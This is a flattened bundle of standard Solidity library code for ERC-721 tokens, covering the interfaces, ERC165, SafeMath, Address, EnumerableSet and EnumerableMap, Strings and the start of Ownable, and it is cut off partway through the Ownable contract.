* @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == 